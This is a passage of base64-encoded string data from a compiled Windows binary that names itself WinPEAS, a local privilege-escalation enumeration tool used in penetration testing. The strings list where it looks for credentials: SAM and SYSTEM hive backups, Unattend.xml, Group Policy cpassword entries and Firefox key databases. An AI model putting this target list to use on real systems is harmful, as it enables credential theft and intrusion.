IaXN0b3J5AFBhcnNlRmlyZWZveEhpc3RvcnkAR2V0RmlyZWZveEhpc3RvcnkARGljdGlvbmFyeUVudHJ5AEdldEFwcHNSZWdpc3RyeQBFbnN1cmVDYXBhY2l0eQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5AFZ1bG5lcmFiaWxpdHkASXNIaWdoSW50ZWdyaXR5AEZpbGVTZWN1cml0eQBmU2VjdXJpdHkAUXVlcnlTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAQ29tbW9uT2JqZWN0U2VjdXJpdHkAUmVnaXN0cnlTZWN1cml0eQBXaW5kb3dzSWRlbnRpdHkARmluZEJ5SWRlbnRpdHkASXNOdWxsT3JFbXB0eQBQcm94eQBwcm94eQAAAAAAcXsAewAgAFAAcgBvAGMAIAA9ACAAewAwAH0ALAAgAFAAdABoACAAPQAgAHsAMQB9ACwAIABDAG8AbQBtAEwAaQBuAGUAIAA9ACAAewAyAH0ALAAgAE8AdwBuAGUAcgAgAD0AIAB7ADMAfQAgAH0AfQAAEVMATwBGAFQAVwBBAFIARQAAD0UAcgByAG8AcgA6ACAAAAUsACAAABtQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAAAnUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQAACUgASwBMAE0AAGdTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABVAG4AaQBuAHMAdABhAGwAbAAAb1MATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFUAbgBpAG4AcwB0AGEAbABsAFwAewAwAH0AAB9JAG4AcwB0AGEAbABsAEwAbwBjAGEAdABpAG8AbgAAAyIAAAEAA1wAAH9TAE8ARgBUAFcAQQBSAEUAXABXAE8AVwA2ADQAMwAyAE4AbwBkAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABVAG4AaQBuAHMAdABhAGwAbAAAgIdTAE8ARgBUAFcAQQBSAEUAXABXAE8AVwA2ADQAMwAyAE4AbwBkAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABVAG4AaQBuAHMAdABhAGwAbABcAHsAMAB9AABvJQBhAHAAcABkAGEAdABhACUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcAAAdyUAcAByAG8AZwByAGEAbQBkAGEAdABhACUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcAAAAyoAAAdSAGUAZwAADUYAbwBsAGQAZQByAAAJRgBpAGwAZQAAG2kAcwBXAHIAaQB0AGEAYgBsAGUAUgBlAGcAAC9pAG4AdABlAHIAZQBzAHQAaQBuAGcARgBvAGwAZABlAHIAUgBpAGcAaAB0AHMAACtpAG4AdABlAHIAZQBzAHQAaQBuAGcARgBpAGwAZQBSAGkAZwBoAHQAcwAAIWkAcwBVAG4AcQB1AG8AdABlAGQAUwBwAGEAYwBlAGQAABNNAGkAYwByAG8AcwBvAGYAdAAAB3sAMAB9AAAJTgBhAG0AZQAADUEAYwB0AGkAbwBuAAAPVAByAGkAZwBnAGUAcgAAHQoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAADUEAdQB0AGgAbwByAAAXRABlAHMAYwByAGkAcAB0AGkAbwBuAACOayAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7ADAAfQAqACgAKAAsAC4ALAAvACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAvACwAIAAgACoALwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAewAwAH0ALAAvACoALAAuAC4AKgAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACwAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgAHsAMAB9ACwAKgAvACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoAC8ALAAgACAALgAqAC8ALwAoACgALwAvACoAKgAsACAALgAqACgAKAAoACgAKAAoACgAKgAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgAHsAMAB9ACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAewAyAH0AKgAqACoAKgAqACoAKgAqACoAKgAvAHsAMQB9ACMAIwAjACMAIwAjACMAIwAjACMAIAB7ADAAfQAuACgAKgAgACwAKAAoACgAKAAoACgAKAAgACAAIAANAAoAIAAgACAAIAB7ADAAfQAoACgAKAAoACgAKAAoACgAKAAoACgALwB7ADIAfQAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoALwB7ADEAfQAjACMAIwAjACMAIwAjACAAewAwAH0ALgAoAC4AIAAoACgAKAAoACgAKAAoAA0ACgAgACAAIAAgAHsAMAB9ACgAKAAoACgAKAAoAC4ALgB7ADIAfQAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgB7ADMAfQAvAEAAQABAAEAAQAAvAHsAMgB9ACoAKgAqAC8AewAxAH0AIwAjACMAIwAjACMAIAB7ADAAfQAuAC8AKAAoACgAKAAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAsACwALgAuAC4ALgB7ADIAfQAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAewAzAH0AQABAAEAAQABAAEAAQABAAEAAQAB7ADIAfQAoACoAKgAqACwAewAxAH0AIwAjACMAIwAgAHsAMAB9AC4ALwAvACgAKAAoACgAKAAoAA0ACgAgACAAIAAgAHsAMAB9ACwAIAAsAC4ALgB7ADIAfQAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAewAzAH0ALwBAAEAAQABAAEAAJQBAAEAAQABAAHsAMgB9AC8AKgAqACoAKgAqACoAKgAqAHsAMQB9ACMAIwB7ADAAfQAoACgALwAgAC8AKAAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAuAC4AKAAoAHsAMQB9ACMAIwAjACMAIwAjACMAIwAjACMAIwB7ADIAfQAqACoAKgAqACoAKgAqACoAKgB7ADMAfQAvACUAQABAAEAAQABAAEAAQABAAEAAewAyAH0ALwAqACoAKgAqACoAKgAqACoAKgAqACoAKgB7ADAAfQAsACwALgAuACgAKAAoACgADQAKACAAIAAgACAAewAwAH0ALgAoAHsAMQB9ACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACgALwB7ADIAfQAqACoAKgAqACoAKgB7ADMAfQAvAEAAQABAAEAAQAB7ADIAfQAvACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqAHsAMAB9AC4ALgAgAC8AKAAoAA0ACgAgACAAIAAgAHsAMAB9AC4AKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACgALwB7ADIAfQAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqAHsAMAB9AC4ALgAqACgAKAANAAoAIAAgACAAIAB7ADAAfQAuACgAewAxAH0AIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAKAAvAHsAMgB9ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgB7ADAAfQAuACwAKAAoACgADQAKACAAIAAgACAAewAwAH0ALgAoAHsAMQB9ACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAoAC8AewAyAH0AKgAqACoAKgAqACoAKgAqACoAKgAqACoAewAwAH0ALgAuACgAKAAoAA0ACgAgACAAIAAgAHsAMAB9AC4AKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAoAHsAMgB9ACoAKgAqACoAKgAqACoAKgAqAHsAMAB9AC4ALgAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAuACgAewAxAH0AIwAjACMAIwAjACMAIwAoACwALgAqACoAKgAuACwAKAAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACgALgAuACoAKgAqAC4AewAyAH0AKgAqACoAKgAqACoAKgB7ADAAfQAuAC4AKAAoACgADQAKACAAIAAgACAAewAwAH0ALgAoAHsAMQB9ACMAIwAjACMAIwAjACMAKgAoACMAIwAjACMAIwAoACgAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAKAAoACMAIwAjACMAIwAjAC8AKAB7ADIAfQAqACoAKgAqACoAewAwAH0ALgAuACgAKAAoAA0ACgAgACAAIAAgAHsAMAB9AC4AKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACgALwAqACoAKgAqACoAKgAqACoAKgAqACoAKAAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAKAB7ADAAfQAuAC4ALgAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAuACgAKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAvACoAKgAqACoAKgAqACoAKAAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjAHsAMAB9AC4AKAAoACgAKAAoACgADQAKACAAIAAgACAAewAwAH0ALgAoACgAKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAewAwAH0AKAAuAC4AKAAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAuAC4AKAAoACgAewAxAH0AIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAewAwAH0AKAAuAC4AKAAoACgAKAAoAA0ACgAgACAAIAAgAHsAMAB9AC4ALgAuAC4AKAAoAHsAMQB9ACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAewAwAH0AKAAgAC4AKAAoACgAKAAoAA0ACgAgACAAIAAgAHsAMAB9AC4ALgAuAC4ALgAuACgAKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwB7ADAAfQAoACAALgAoACgAKAAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAoACgAKAAoACgAKAAoACgAKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwB7ADAAfQAoAC4ALgAvACgAKAAoACgAKAAoAA0ACgAgACAAIAAgACAAIAAgACAAewAwAH0AKAAoACgAKAAoACgAKAAoACgALwB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAewAwAH0AKAAvAC4ALgAoACgAKAAoACgAKAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsAMAB9ACgAKAAoACgAKAAoACgAKAAoAC8ALAAuACAAIAAsACoALwAvAC8ALwAvAC8AKgAsAC4AIAAuAC8AKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgALgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsAMAB9ACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAvAAAVQQBEAFYASQBTAE8AUgBZADoAIAAAFSAAIABXAGkAbgBQAEUAQQBTACAAAB8gAGIAeQAgAGMAYQByAGwAbwBzAHAAbwBsAG8AcAAAgJVoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwBjAGgAZQBjAGsAbABpAHMAdAAtAHcAaQBuAGQAbwB3AHMALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AAV9ZAG8AdQAgAGMAYQBuACAAZgBpAG4AZAAgAGEAIABXAGkAbgBkAG8AdwBzACAAbABvAGMAYQBsACAAUABFACAAQwBoAGUAYwBrAGwAaQBzAHQAIABoAGUAcgBlADoAAA0gACAAWwArAF0AIAAAD0wAZQB5AGUAbgBkADoAABkgACAAIAAgACAAIAAgACAAIABSAGUAZAAAgLUgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAHMAcABlAGMAaQBhAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AdgBlAHIAIABhAG4AIABvAGIAagBlAGMAdAAgAG8AcgAgAHMAbwBtAGUAdABoAGkAbgBnACAAaQBzACAAbQBpAHMAYwBvAG4AZgBpAGcAdQByAGUAZAAAHSAAIAAgACAAIAAgACAAIAAgAEcAcgBlAGUAbgAAgK8gACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAGQAaQBjAGEAdABlAHMAIAB0AGgAYQB0ACAAcwBvAG0AZQAgAHAAcgBvAHQAZQBjAHQAaQBvAG4AIABpAHMAIABlAG4AYQBiAGwAZQBkACAAbwByACAAcwBvAG0AZQB0AGgAaQBuAGcAIABpAHMAIAB3AGUAbABsACAAYwBvAG4AZgBpAGcAdQByAGUAZAAAGyAAIAAgACAAIAAgACAAIAAgAEMAeQBhAG4AAEsgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AZABpAGMAYQB0AGUAcwAgAGEAYwB0AGkAdgBlACAAdQBzAGUAcgBzAAAbIAAgACAAIAAgACAAIAAgACAAQgBsAHUAZQAATyAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgBkAGkAYwBhAHQAZQBzACAAZABpAHMAYQBiAGwAZQBkACAAdQBzAGUAcgBzAAApIAAgACAAIAAgACAAIAAgACAATABpAGcAaAB0AFkAZQBsAGwAbwB3AAAvIAAgACAAIAAgACAAIAAgAEkAbgBkAGkAYwBhAHQAZQBzACAAbABpAG4AawBzAAANIAAgAFsAKgBdACAAAICdVwBpAG4AUABFAEEAUwAgAGkAcwAgAGEAIABiAGkAbgBhAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAcABvAHMAcwBpAGIAbABlACAAcABhAHQAaABzACAAdABvACAAZQBzAGMAYQBsAGEAdABlACAAcAByAGkAdgBpAGwAZQBnAGUAcwAgAGwAbwBjAGEAbABsAHkAABsgACAAIAAgACAAIAAgACAAcQB1AGkAZQB0AABBIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAG8AIABuAG8AdAAgAHAAcgBpAG4AdAAgAGIAYQBuAG4AZQByAAAlIAAgACAAIAAgACAAIAAgAHMAZQBhAHIAYwBoAGYAYQBzAHQAAICVIAAgACAAIAAgACAAIAAgAEEAdgBvAGkAZAAgAHMAbABlAGUAcABpAG4AZwAgAHcAaABpAGwAZQAgAHMAZQBhAHIAYwBoAGkAbgBnACAAZgBpAGwAZQBzACAAKABuAG8AdABhAGIAbABlACAAYQBtAG8AdQBuAHQAIABvAGYAIAByAGUAcwBvAHUAcgBjAGUAcwApAAAjIAAgACAAIAAgACAAIAAgAHMAZQBhAHIAYwBoAGEAbABsAACAqSAAIAAgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAYQBsAGwAIABrAG4AbwB3AG4AIABmAGkAbABlAG4AYQBtAGUAcwAgAHcAaABpAHQAaAAgAHAAbwBzAHMAaQBiAGwAZQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgACgAYwBvAHUAbAAgAHQAYQBrAGUAIABzAG8AbQBlACAAbQBpAG4AcwApAAAXIAAgACAAIAAgACAAIAAgAGMAbQBkAACAsyAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAE8AYgB0AGEAaQBuACAAdwBpAGYAaQAsACAAYwByAGUAZAAgAG0AYQBuAGEAZwBlAHIAIABhAG4AZAAgAGMAbABpAHAAYgBvAGEAcgBkACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuACAAZQB4AGUAYwB1AHQAaQBuAGcAIABDAE0ARAAgAGMAbwBtAG0AYQBuAGQAcwAAHyAAIAAgACAAIAAgACAAIABuAG8AdABhAG4AcwBpAABZIAAgACAAIAAgACAAIAAgACAAIAAgAEQAbwBuACcAdAAgAHUAcwBlACAAYQBuAHMAaQAgAGMAbwBsAG8AcgBzACAAKABhAGwAbAAgAHcAaABpAHQAZQApAAElIAAgACAAIAAgACAAIAAgAHMAeQBzAHQAZQBtAGkAbgBmAG8AAEMgACAAIAAgACAAIAAgACAAUwBlAGEAcgBjAGgAIABzAHkAcwB0AGUAbQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAISAAIAAgACAAIAAgACAAIAB1AHMAZQByAGkAbgBmAG8AAEMgACAAIAAgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAdQBzAGUAcgAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAJSAAIAAgACAAIAAgACAAIABwAHIAbwBjAGUAcwBpAG4AZgBvAABJIAAgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAcAByAG8AYwBlAHMAcwBlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AACkgACAAIAAgACAAIAAgACAAcwBlAHIAdgBpAGMAZQBzAGkAbgBmAG8AAEMgACAAIAAgACAAIABTAGUAYQByAGMAaAAgAHMAZQByAHYAaQBjAGUAcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAMSAAIAAgACAAIAAgACAAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AcwBpAG4AZgBvAABXIAAgAFMAZQBhAHIAYwBoACAAaQBuAHMAdABhAGwAbABlAGQAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAJyAAIAAgACAAIAAgACAAIABuAGUAdAB3AG8AcgBrAGkAbgBmAG8AAEMgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAbgBlAHQAdwBvAHIAawAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAKSAAIAAgACAAIAAgACAAIAB3AGkAbgBkAG8AdwBzAGMAcgBlAGQAcwAAQSAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAdwBpAG4AZABvAHcAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAJyAAIAAgACAAIAAgACAAIABiAHIAbwB3AHMAZQByAGkAbgBmAG8AAEMgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAYgByAG8AdwBzAGUAcgAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAIyAAIAAgACAAIAAgACAAIABmAGkAbABlAHMAaQBuAGYAbwAAZyAAIAAgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAZgBpAGwAZQBzACAAdABoAGEAdAAgAGMAYQBuACAAYwBvAG4AdABhAGkAbgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAZIAAgACAAIAAgACAAIAAgAFsAKwBdACAAAG1CAHkAIABkAGUAZgBhAHUAbAB0ACAAYQBsAGwAIABjAGgAZQBjAGsAcwAgACgAZQB4AGMAZQBwAHQAIABDAE0ARAAgAGMAaABlAGMAawBzACkAIABhAHIAZQAgAGUAeABlAGMAdQB0AGUAZAAABSAAIAAAAygAAAMpAAAPIAAgACAAWwA/AF0AIAAAAyAAABEgACAAIAAgAFsAaQBdACAAABsgACAAIAAgAE4AbwB0ACAARgBvAHUAbgBkAACAySAAIAAgAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0AAAkgACAAIAAgAAAFOgAgAAAPGwBbADEAOwAzADcAbQABDxsAWwAxADsAOQAwAG0AAQ8bAFsAMQA7ADMAMQBtAAEPGwBbADEAOwAzADIAbQABCxsAWwAzADMAbQABDxsAWwAxADsAMwAzAG0AAQsbAFsAMwA0AG0AAQ8bAFsAMQA7ADMANABtAAEPGwBbADEAOgAzADUAbQABCxsAWwAzADYAbQABDxsAWwAxADsAMwA2AG0AAQkbAFsAMABtAAENdwBpAG4AZABpAHIAAC97ADAAfQBcAHMAeQBzAHAAcgBlAHAAXABzAHkAcwBwAHIAZQBwAC4AeABtAGwAAC97ADAAfQBcAHMAeQBzAHAAcgBlAHAAXABzAHkAcwBwAHIAZQBwAC4AaQBuAGYAAB97ADAAfQBcAHMAeQBzAHAAcgBlAHAALgBpAG4AZgAANXsAMAB9AFwAUABhAG4AdABoAGUAcgBcAFUAbgBhAHQAdABlAG4AZABlAGQALgB4AG0AbAAAMXsAMAB9AFwAUABhAG4AdABoAGUAcgBcAFUAbgBhAHQAdABlAG4AZAAuAHgAbQBsAABDewAwAH0AXABQAGEAbgB0AGgAZQByAFwAVQBuAGEAdAB0AGUAbgBkAFwAVQBuAGEAdAB0AGUAbgBkAC4AeABtAGwAAEd7ADAAfQBcAFAAYQBuAHQAaABlAHIAXABVAG4AYQB0AHQAZQBuAGQAXABVAG4AYQB0AHQAZQBuAGQAZQBkAC4AeABtAGwAAEN7ADAAfQBcAFMAeQBzAHQAZQBtADMAMgBcAFMAeQBzAHAAcgBlAHAAXAB1AG4AYQB0AHQAZQBuAGQALgB4AG0AbAAAU3sAMAB9AFwAUwB5AHMAdABlAG0AMwAyAFwAUwB5AHMAcAByAGUAcABcAFAAYQBuAHQAaABlAHIAXAB1AG4AYQB0AHQAZQBuAGQALgB4AG0AbAAAJ3sAMAB9AFwALgAuAFwAdQBuAGEAdAB0AGUAbgBkAC4AeABtAGwAACd7ADAAfQBcAC4ALgBcAHUAbgBhAHQAdABlAG4AZAAuAGkAbgBmAAApIAAgAFsAWABdACAARQB4AGMAZQBwAHQAaQBvAG4AOgAgAHsAMAB9AAADCgAAAw0AAC88AFAAYQBzAHMAdwBvAHIAZAA+AC4AKgA8AC8AUABhAHMAcwB3AG8AcgBkAD4AABVTAHkAcwB0AGUAbQBSAG8AbwB0AAAdewAwAH0AXAByAGUAcABhAGkAcgBcAFMAQQBNAAA/ewAwAH0AXABTAHkAcwB0AGUAbQAzADIAXABjAG8AbgBmAGkAZwBcAFIAZQBnAEIAYQBjAGsAXABTAEEATQAAI3sAMAB9AFwAcgBlAHAAYQBpAHIAXABTAFkAUwBUAEUATQAARXsAMAB9AFwAUwB5AHMAdABlAG0AMwAyAFwAYwBvAG4AZgBpAGcAXABSAGUAZwBCAGEAYwBrAFwAUwBZAFMAVABFAE0AABdTAHkAcwB0AGUAbQBEAHIAaQB2AGUAACV7ADAAfQBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXAAAMXsAMAB9AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAAA3ewAwAH0AXABEAG8AYwB1AG0AZQBuAHQAcwAgAGEAbgBkACAAUwBlAHQAdABpAG4AZwBzAFwAABV7ADAAfQBcAFUAcwBlAHIAcwBcAAAZUwBpAHQAZQBMAGkAcwB0AC4AeABtAGwAAB9BAEwATABVAFMARQBSAFMAUABSAE8ARgBJAEwARQAAF1AAcgBvAGcAcgBhAG0ARABhAHQAYQAAI1wAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAARABhAHQAYQAAP1wATQBpAGMAcgBvAHMAbwBmAHQAXABHAHIAbwB1AHAAIABQAG8AbABpAGMAeQBcAEgAaQBzAHQAbwByAHkAAAsqAC4AeABtAGwAABVHAHIAbwB1AHAAcwAuAHgAbQBsAAAZUwBlAHIAdgBpAGMAZQBzAC4AeABtAGwAACVTAGMAaABlAGQAdQBsAGUAZAB0AGEAcwBrAHMALgB4AG0AbAAAH0QAYQB0AGEAUwBvAHUAcgBjAGUAcwAuAHgAbQBsAAAZUAByAGkAbgB0AGUAcgBzAC4AeABtAGwAABVEAHIAaQB2AGUAcwAuAHgAbQBsAAATYwBwAGEAcwBzAHcAbwByAGQAAAsNAAoAewAwAH0AAC8vAEcAcgBvAHUAcABzAC8AVQBzAGUAcgAvAFAAcgBvAHAAZQByAHQAaQBlAHMAABkvAEcAcgBvAHUAcABzAC8AVQBzAGUAcgAAEXUAcwBlAHIATgBhAG0AZQAAD24AZQB3AE4AYQBtAGUAAA9jAGgAYQBuAGcAZQBkAABBLwBOAFQAUwBlAHIAdgBpAGMAZQBzAC8ATgBUAFMAZQByAHYAaQBjAGUALwBQAHIAbwBwAGUAcgB0AGkAZQBzAAArLwBOAFQAUwBlAHIAdgBpAGMAZQBzAC8ATgBUAFMAZQByAHYAaQBjAGUAABdhAGMAYwBvAHUAbgB0AE4AYQBtAGUAAD8vAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAcwAvAFQAYQBzAGsALwBQAHIAbwBwAGUAcgB0AGkAZQBzAAApLwBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAHMALwBUAGEAcwBrAAALcgB1AG4AQQBzAABFLwBEAGEAdABhAFMAbwB1AHIAYwBlAHMALwBEAGEAdABhAFMAbwB1AHIAYwBlAC8AUAByAG8AcABlAHIAdABpAGUAcwAALy8ARABhAHQAYQBTAG8AdQByAGMAZQBzAC8ARABhAHQAYQBTAG8AdQByAGMAZQAAEXUAcwBlAHIAbgBhAG0AZQAARS8AUAByAGkAbgB0AGUAcgBzAC8AUwBoAGEAcgBlAGQAUAByAGkAbgB0AGUAcgAvAFAAcgBvAHAAZQByAHQAaQBlAHMAAC8vAFAAcgBpAG4AdABlAHIAcwAvAFMAaABhAHIAZQBkAFAAcgBpAG4AdABlAHIAADEvAEQAcgBpAHYAZQBzAC8ARAByAGkAdgBlAC8AUAByAG8AcABlAHIAdABpAGUAcwAAGy8ARAByAGkAdgBlAHMALwBEAHIAaQB2AGUAAA9bAEIATABBAE4ASwBdAAARVQBzAGUAcgBOAGEAbQBlAAAPTgBlAHcATgBhAG0AZQAAE2MAUABhAHMAcwB3AG8AcgBkAAAPQwBoAGEAbgBnAGUAZAAAXSoAZABpAGEAZwByAGEAbQAqADsAKgAuAHAAZABmADsAKgAuAHYAcwBkADsAKgAuAGQAbwBjADsAKgBkAG8AYwB4ADsAKgAuAHgAbABzADsAKgAuAHgAbABzAHgAABdVAFMARQBSAFAAUgBPAEYASQBMAEUAAEkxADMANwAwADkANgAyADAALQBDADIANwA5AC0AMQAxAEMARQAtAEEANAA5AEUALQA0ADQANAA1ADUAMwA1ADQAMAAwADAAMAABE04AYQBtAGUAcwBwAGEAYwBlAAALSQB0AGUAbQBzAAALQwBvAHUAbgB0AAAJSQB0AGUAbQAAIUUAeAB0AGUAbgBkAGUAZABQAHIAbwBwAGUAcgB0AHkAADVTAHkAcwB0AGUAbQAuAFIAZQBjAHkAYwBsAGUALgBEAGEAdABlAEQAZQBsAGUAdABlAGQAAAlQAGEAdABoAAAJUwBpAHoAZQAANVMAeQBzAHQAZQBtAC4AUgBlAGMAeQBjAGwAZQAuAEQAZQBsAGUAdABlAGQARgByAG8AbQAAGUQAZQBsAGUAdABlAGQAIABmAHIAbwBtAAAZRABhAHQAZQAgAEQAZQBsAGUAdABlAGQAAA1QAHUAYgBsAGkAYwAAD0QAZQBmAGEAdQBsAHQAABlEAGUAZgBhAHUAbAB0ACAAVQBzAGUAcgAAE0EAbABsACAAVQBzAGUAcgBzAABbewAwAH0AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AbwB6AGkAbABsAGEAXABGAGkAcgBlAGYAbwB4AFwAUAByAG8AZgBpAGwAZQBzAFwAAA97ADAAfQBcAHsAMQB9AAAPawBlAHkAMwAuAGQAYgAAD2sAZQB5ADQALgBkAGIAABFVAFMARQBSAE4AQQBNAEUAABtwAGwAYQBjAGUAcwAuAHMAcQBsAGkAdABlAACAsSgAaAB0AHQAcAB8AGYAdABwAHwAaAB0AHQAcABzAHwAZgBpAGwAZQApADoALwAvACgAWwBcAHcAXwAtAF0AKwAoAD8AOgAoAD8AOgBcAC4AWwBcAHcAX